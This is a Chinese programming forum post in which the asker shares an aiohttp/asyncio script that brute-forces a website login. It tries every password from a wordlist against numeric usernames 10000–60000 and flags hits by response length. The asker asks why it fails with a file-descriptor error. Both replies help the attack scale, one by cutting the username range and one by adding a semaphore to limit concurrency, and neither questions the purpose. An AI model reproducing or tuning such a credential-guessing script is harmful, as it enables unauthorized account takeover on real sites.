python的aiohttp错误提示

发布于 2022-09-05 22:25:43 字数 1061 浏览 7 评论 0

用aiohttp和asyncio构建的网络爬虫如果url太多,出现错误提示:ValueError: too many file descriptors in select()

import aiohttp
import asyncio
import time
timeclock=time.clock()
pwd_all=[]
with open("pwd.txt","r+",encoding='utf-8') as fob:
    for b in fob.readlines():
        pwd_all.append(b.strip())
oklist=[]
async def hello(name):
    async with aiohttp.ClientSession() as session:
        for pwd in pwd_all:
            payload={'name':name,'password':pwd}
            async with session.post('http://www.xxxxxxx.com',data=payload) as resp:
                backdata=await resp.text()
                if len(backdata)==376:
                    oklist.append("{}:{}".format(name,pwd))
                    break
loop = asyncio.get_event_loop()
tasks = [hello(str(uname)) for uname in range(10000,60000)]
loop.run_until_complete(asyncio.wait(tasks))
loop.close()
print(oklist)
print("time is:"+str(time.clock()-timeclock))

错误信息

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。

评论(2

猥琐帝 2022-09-12 22:25:43

tasks = [hello(str(uname)) for uname in range(10000,12000)]
先改小一点,一上来就5万个,扯着蛋了~

子栖 2022-09-12 22:25:43

在windows环境下,最多只能1024个线程,多了就报错,asyncio调用底层的select(),所以,最好控制下您的线程数量。
当然您也可以使用线程池asyncio.Semaphore(number),就像这样:

async def hello(name):
    async with sem:
    '''
    your code ....
    '''
sem = asyncio.Semaphore(10) # 协程池数量
tasks = [asyncio.ensure_future(hello(str(uname))) for uname in range(10000,60000)]
loop.run_until_complete(asyncio.gather(*tasks))
~没有更多了~
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文